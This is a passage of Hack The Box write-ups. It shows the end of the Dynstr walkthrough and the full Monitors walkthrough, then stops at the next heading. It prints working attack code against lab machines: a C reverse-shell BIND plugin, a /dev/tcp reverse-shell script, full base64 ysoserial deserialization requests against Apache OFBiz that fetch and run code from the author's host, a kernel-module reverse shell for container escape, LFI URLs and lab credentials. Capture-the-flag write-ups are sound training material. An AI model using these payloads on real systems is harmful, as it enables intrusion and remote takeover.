I checked the file permissions and sure enough we can read the file /etc/bind/infra.key.

Now that we know how to perform the DNS record update, let’s update it.

What we need to do is that we need to choose a subdomain under infra.dyna.htb and update the PTR record of the selected subdomain with our IP address. Here, I am selecting the subdomain test. infra.dyna.htb

We are selecting the PTR record because SSH will be performing reverse lookup of the connecting IP address to determine the hostname validity.

So if the reverse lookup fails, then SSH will not allow the connection.

I actually stumbled on here for some time, as for some reason my stressed out brain decided to update the A record instead of PTR record. But with some help from peers, I was able to solve the issue and went back on track.

Updating DNS Record to match the SSH config

The syntax to update the PTR record in nsupdate is as follows.

nsupdate -t 1 -k /etc/bind/infra.key
> update add 38.14.10.10.in-addr.arpa 300 PTR test.infra.dyna.htb
> send
> quit

And the record was updated.

I tested the DNS change by performing an nslookup in the target.

But why the .in-addr.arpa part?

If you are unfamiliar with PTR records, you might be wondering what is the reversed IP address with the .in-addr.arpa hostname. You might’ve atleast seen this type of hostnames when doing a traceroute.

This is because the PTR record is added in a special way into the DNS records.

Reverse DNS lookups for IPv4 addresses use the special domain .in-addr.arpa. If we want to perform a reverse lookup of an IP address, we have to reverse the IP address, append the result with the hostname .in-addr.arpa and lookup the PTR record of the hostname. (For IPv6, the special hostname is ip6.arpa)

I’ll explain this with an example.

Say we want to lookup the hostname of the IP address 8.8.4.4 (Google DNS). Then we have to lookup the PTR record of the hostname 4.4.8.8.in-addr.arpa.

We can check the PTR record of an IP address using dig using the following command.

dig -x 8.8.4.4
Result of dig reverse lookup

From the reverse lookup, we can see that the hostname is dns.google and it is stored against the hostname 4.4.8.8.in-addr.arpa.

Now that the theory part is resolved, let’s get back to the exploitation.

SSH-ing as bindmgr and Privilege Escalation

Now that the PTR record is configured, let’s SSH into bindmgr using the private key we saved earlier from the strace output found in bindmgr‘s home directory.

ssh -i id_rsa bindmgr@10.10.10.244

And I was in as bindmgr!

Naruto Smile GIFs | Tenor

Once I was in, I issued sudo -l and found that the user bindmgr can run a bash script /usr/local/bin/bindmgr.sh as root, without providing password.

So, I looked at the script bindmgr.sh.

The script runs as a workaround to include multiple configuration files into bind’s named.conf.local file.

The script first checks for a file .version in the current working directory and compares it with the file /etc/bind/named.bindmgr/.version and if the current working directory contains a larger number, then it copies all of the files in the present working directory to /etc/bind/named.bindmgr/ .

Then it will create a file /etc/bind/named.conf.bindmgr to include all files in /etc/bind/named.bindmgr/.

I looked at the documentation of BIND server to see that if there’s anyway that we could obtain code execution using the configuration file directives and found a way.

Bind server can include custom plugins, which is in the C shared library (.so) format.

The documentation mentioned the plugin need four functions named:

  • plugin_register
  • plugin_destroy
  • plugin_version
  • plugin_check

So, I created a C file named plugin.c with those functions and filled the function with reverse shell payload obtained from here.

Contents of plugin.c:

/* credits to http://blog.techorganic.com/2015/01/04/pegasus-hacking-challenge/ */
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

#define REMOTE_ADDR "10.10.14.38"
#define REMOTE_PORT 9002

void plugin_register()
{
    struct sockaddr_in sa;
    int s;

    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
    sa.sin_port = htons(REMOTE_PORT);

    s = socket(AF_INET, SOCK_STREAM, 0);
    connect(s, (struct sockaddr *)&sa, sizeof(sa));
    dup2(s, 0);
    dup2(s, 1);
    dup2(s, 2);

    execve("/bin/sh", 0, 0);
    /*return 0; */
}

void plugin_destroy()
{
    struct sockaddr_in sa;
    int s;

    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
    sa.sin_port = htons(REMOTE_PORT);

    s = socket(AF_INET, SOCK_STREAM, 0);
    connect(s, (struct sockaddr *)&sa, sizeof(sa));
    dup2(s, 0);
    dup2(s, 1);
    dup2(s, 2);

    execve("/bin/sh", 0, 0);
    /*return 0; */
}
void plugin_version()
{
    struct sockaddr_in sa;
    int s;

    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
    sa.sin_port = htons(REMOTE_PORT);

    s = socket(AF_INET, SOCK_STREAM, 0);
    connect(s, (struct sockaddr *)&sa, sizeof(sa));
    dup2(s, 0);
    dup2(s, 1);
    dup2(s, 2);

    execve("/bin/sh", 0, 0);
    /*return 0; */
}
void plugin_check()
{
    struct sockaddr_in sa;
    int s;

    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
    sa.sin_port = htons(REMOTE_PORT);

    s = socket(AF_INET, SOCK_STREAM, 0);
    connect(s, (struct sockaddr *)&sa, sizeof(sa));
    dup2(s, 0);
    dup2(s, 1);
    dup2(s, 2);

    execve("/bin/sh", 0, 0);
    /*return 0; */
}

Then I compiled it to C shared object using the following command.

gcc -shared -fPIC plugin.c -o plugin.so

I then created a directory named /home/bindmgr/test and copied the plugin.so file to the said directory.

Then I added a file named invoke in /home/bindmgr with the following contents, so that it will load the plugin.so file to the Bind server.

plugin query "/home/bindmgr/test/plugin.so" {
    parameters
};

Then I created a file named .version along with the invoke file with a number.

echo 1 > .version

If we need to run the bindmgr.sh script multiple times, then increment this number by 1, or else the bindmgr.sh script will fail.

I then started a netcat listener on port 9002 , as it is the port number I specified on the C reverse shell script and executed the following command.

 sudo /usr/local/bin/bindmgr.sh

And I got a root shell back!

Russian Club Kid Losing His Mind On The Dance Floor | Spotify playlist  covers aesthetic, Music cover photos, Playlist covers aesthetic
w00t!

Postlude

And that was Dynstr!

This was an incredible box and even though I struggled at times, I learned and re-learned lot of things.

Thank you and Kudos to jkr for creating such an awesome machine!

Also, special thanks to 0xAniket for nudging me in the right direction!

Peace out! ✌️

Hack The Box: Monitors

Prelude

Monitors is an intermediate machine from Hack The Box developed by TheCyberGeek.

This machine follows the same principals of Breadcrumbs machine, where the player has to exploit a chain of vulnerabilities to get into the machine.

To get an intial foothold, we have to exploit a File inclusion vulnerability in a WordPress plugin. But, that is a pretty small entry point and we have to include multiple files to get into the machine.

Once we’ve got into the machine, we can exploit an RCE in Apache OFBiz to gain access to a docker container. Escape the container and we’re root!

When exploiting this box, I accidentally got root before gaining the user account, since I focused on other vectors to escalate privileges instead of the intended path.

Let’s begin the exploitation.

Exploitation

As usual I started the exploitation with Nmap scan.

nmap -sCV -v -oN tcp 10.10.10.238

And I got the scan result as follows.

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ba:cc:cd:81:fc:91:55:f3:f6:a9:1f:4e:e8:be:e5:2e (RSA)
|   256 69:43:37:6a:18:09:f5:e7:7a:67:b8:18:11:ea:d7:65 (ECDSA)
|_  256 5d:5e:3f:67:ef:7d:76:23:15:11:4b:53:f8:41:3a:94 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

I navigated to http://10.10.10.238/ and found the following message.

Host address leak

I then added monitors.htb to my /etc/hosts file and navigated to http://monitors.htb/ and found the following webpage.

This was a wordpress site. So, I did a wpscan and found out that it had a wordpress plugin named wp-with-spritz.

wpscan --url http://monitors.htb/ -e ap

A quick search showed me that this plugin is vulnerable to a File Inclusion vulnerability. Link

So, I used the following PoC URL based on the above mentioned exploit to include local files.

Note:I’ve also tried to include Remote PHP files and it worked partially; but PHP code from the remote files weren’t executing.

http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=../../../wp-config.php

This URL included the wp-config.php file and it contained a password.

I tried this password to login as marcus ; a username I’ve found by including the /etc/passwd file of the target, but the password was incorrect.

Finding Hidden Hostname

At this point I was stuck. So, I decided to include the apache configuration files.

I included the default configuration file using the following URL.

http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/apache2/sites-available/000-default.conf

In the default file, there was a comment mentioning the file name of a new hostname.

Found a new trail!

So, I added cacti-admin.monitors.htb.conf into my hosts file and browsed to it.

I used the credential admin:BestAdministrator@2020! to login to Cacti.

And I was in!

Exploiting Cacti

There was nothing much to do in Cacti. So I searched exploits for Cacti and found an RCE exploit for Cacti. Link

I downloaded the exploit, started a nc listener and issued the following command to exploit cacti.

python3 cacti.py -t http://cacti-admin.monitors.htb -u admin -p BestAdministrator\@2020\! --lhost 10.10.14.19 --lport 9001

And I got a shell back as www-data!

Gaining Shell as marcus

Once we get inside the machine as www-data, we can view the contents of marcus’s home directory.

In marcus’s home directory, there’s a hidden folder named .backup, but we cannot list the contents inside of it, but we have execute permissions in the folder.

If we search for files in the machine, which have reference to marcus, we will get a service file with reference to a file named backup.sh inside the /home/marcus/.backup folder.

This search was done inside /etc directory

We can open the backup.sh file to view the password for Marcus.

The password for marcus is VerticalEdge2020.

How could we read the file in a directory with only executable permission?

Now you might be wondering how could we read the contents of a file in a directory, where we only had executable permissions in it?

The answer is a simple and a little complicated.

The practical effect of linux permissions are different than we imagine. Here’s a table that shows different permissions and their practical effects. Source

linux directory permissions

The directory /home/marcus/.backup has --X permissions. which means that we (www-data) can’t list the files in the directory, but we (www-data) can read the file contents, if we know the file name.

That’s how we were able to read the contents of backup.sh.

Now that it’s clear, let’s go back to exploitation.

We can use the password we got from backup.sh to login as Marcus via SSH.

Once we are inside marcus’s home directory, we can view a text file named note.txt. Opening the file shows the following content.

It indicates the presence of a docker image.

Privilege Escalation

If we issue ps -ef as marcus, then we can see the command issued to start the docker container.

It shows us that the traffic from docker container’s port 8443 is forwarded to the target’s port 8443.

If we forward port 8443 of the target, and navigate to https://127.0.0.1:8443/ we can see that it is running Tomcat.

I did a gobuster on this and found several e-commerce related terms like /ebay are getting 302.

So, I navigated to https://127.0.0.1:8443/ebay and it redirected me to an Apache Ofbiz login page.

In the bottom right corner, it showed the version of Apache Ofbiz as 17.12.01.

Searching Apache OFBiz on google showed that version 17.12.01 had an RCE.

There’s a github repo by g33xter which had a detailed PoC on how to exploit it.

Basically it is a deserialization vulnerability. Using that deserialization vulnerability, we will first upload a custom bash shell script to the target. After that, we will use the same vulnerability to execute the uploaded shell script to get a reverse shell back.

I did the following steps to exploit this vulnerability based on the instructions from the above GitHub repo.

First, I created a bash shell script file named shell.sh with the following contents.

# Contents of shell.sh
#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.14.19/443 0>&1

Then I hosted the shell.sh file using python http.server.

After that, I downloaded YsoSerial‘s gadget chain to generate the deserialization payload from here.

I used the following command to generate a deserialization payload that will fetch shell.sh from my kali machine and save it to target’s /tmp. Here 10.10.14.19 is my IP address.

bash java -jar ysoserial-master-d367e379d9-1.jar CommonsBeanutils1 "wget 10.10.14.19/shell.sh -O /tmp/shell.sh" | base64 -w 0

I then copied the generated base64 encoded payload and pasted in the following cURL request.

curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions"> !BASE64 HERE! </serializable></value></member></struct></value></param></params></methodCall>' -k  -H 'Content-Type:application/xml'

Replace the !BASE64 HERE! with the base64 encoded deserialization payload [ between extensions"> and </serializable> ]. I used the following cURL request to trigger the shell upload.

curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABr7K/rq+AAAAMgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAqd2dldCAxMC4xMC4xNC4xOS9zaGVsbC5zaCAtTyAvdG1wL3NoZWxsLnNoCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAdeXNvc2VyaWFsL1B3bmVyMTc2NTc0Nzc0MDk3NDcBAB9MeXNvc2VyaWFsL1B3bmVyMTc2NTc0Nzc0MDk3NDc7ACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAAEAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAALwAOAAAADAABAAAABQAPADgAAAABABMAFAACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAANAAOAAAAIAADAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABcAGAACABkAAAAEAAEAGgABABMAGwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAAOAAOAAAAKgAEAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABwAHQACAAAAAQAeAB8AAwAZAAAABAABABoACAApAAsAAQAMAAAAJAADAAIAAAAPpwADAUy4AC8SMbYANVexAAAAAQA2AAAAAwABAwACACAAAAACACEAEQAAAAoAAQACACMAEAAJdXEAfgAQAAAB1Mr+ur4AAAAyABsKAAMAFQcAFwcAGAcAGQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQVx5mnuPG1HGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADRm9vAQAMSW5uZXJDbGFzc2VzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACwcAGgEAI3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vAQAQamF2YS9sYW5nL09iamVjdAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgAAQABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADwADgAAAAwAAQAAAAUADwASAAAAAgATAAAAAgAUABEAAAAKAAEAAgAWABAACXB0AARQd25ycHcBAHhxAH4ADXg=</serializable></value></member></struct></value></param></params></methodCall>' -k  -H 'Content-Type:application/xml'

If everything went correctly, then our python http.server will get a hit on shell.sh.

If our python http.server got a hit on shell.sh from the target, then we can move to the next step; i.e. executing the uploaded reverse shell script.

To do that, we have to do the same steps as before, but with different payload.

I used the following command to generate the payload to execute the script located at /tmp/shell.sh.

java -jar ysoserial-master-d367e379d9-1.jar CommonsBeanutils1 "bash /tmp/shell.sh" | base64 -w 0

Copy the generated base64 encoded deserialization payload and paste it in the following cURL command.

curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">  !BASE64 HERE!  </serializable></value></member></struct></value></param></params></methodCall>' -k  -H 'Content-Type:application/xml'

Replace the !BASE64 HERE! with the base64 encoded deserialization payload [ between extensions"> and </serializable> ].

The Final cURL command will look like the following.

curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABqjK/rq+AAAAMgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQASYmFzaCAvdG1wL3NoZWxsLnNoCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAeeXNvc2VyaWFsL1B3bmVyMTE0MDA0NzgxMDI3NjQzAQAgTHlzb3NlcmlhbC9Qd25lcjExNDAwNDc4MTAyNzY0MzsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQB+ABAAAAHUyv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==</serializable></value></member></struct></value></param></params></methodCall>' -k  -H 'Content-Type:application/xml'

Before sending this cURL command, don’t forget to start a nc listener to the port address we specified in the shell.sh file that we uploaded earlier.

I started the nc listener, send the request and got a shell back.

w00t?
Confused Dog GIFs | Tenor

I got a root shell back. But, it was the root shell inside of the docker container mentioned in the note.txt file earlier.

So, we would need to perform a container escape to get into actual root.

Escaping Docker Container

I did a capsh --print command to view the capabilities of the docker container and found that this container has quite a lot of interesting capabilities.

Note: We can also run deepce, which is a docker container enumeration script to check for container specific checks (linpeas for docker).

The capability that is interesting is CAP_SYS_MODULE, which allows us to insert kernel modules from the container.

Hacktricks has an excellent page on this.

To exploit this, we need to compile a kernel module and insert it to kernel.

Source code of reverse-shell.c

#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");

char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.19/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };

// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {
    printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

Now we need a Makefile to compile this.

Source of Makefile:


all:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

Note: The spaces before both make -C commands MUST be TABS instead of space, otherwise the compilation will error out.

Now, enter make command to make the modules.

If everything went correctly, we should have a file named reverse-shell.ko in the current folder.

Now, I started a nc listener in my kali machine and entered the command insmod reverse-shell.ko in the docker container.

And I got a reverse shell back as root!

Dug Up GIFs | Tenor
Woof! I mean w00t!

Bonus Story

Like I mentioned before, I got root in this box before even getting user.

This is because, when I couldn’t directly open the .backups folder, I shifted my focus on open ports. And that’s when I found the port 8443. But, I since I had no SSH credentials yet, I used socat to forward the port to a higher port and accessed Tomcat that way.

I uploaded a static socat binary to the target and used the following command to forward socat’s port 8443 to a higher port 5999.

./socat tcp-listen:59999,reuseaddr,fork tcp:localhost:8443

Please note that I’m not derogating the creator or this machine in any way. Infact this was a very well crafted machine and it had a lot of parts. So, chances are that the creator overlooked the importance of marcus‘s role in solving this machine and thus this method of getting emerged as an unintended solution.

I’ve checked on HTB discord, HTB forums and found out that I was not the only one who got root this way.

Keep in mind that this unintended path is highly unstable. Since we don’t have any way to “save” our hacking progress this way and someone resetting the machine midway during our exploitation attempt will force us to do the exploit chain from the beginning all over again!

Postlude

And that was Monitors.

I still don’t get why this machine is named that way. But, I thoroughly enjoyed this machine and Kudos to TheCyberGeek for creating such a cool machine!

Peace out! ✌️

Hack The Box: Cap

Prelude

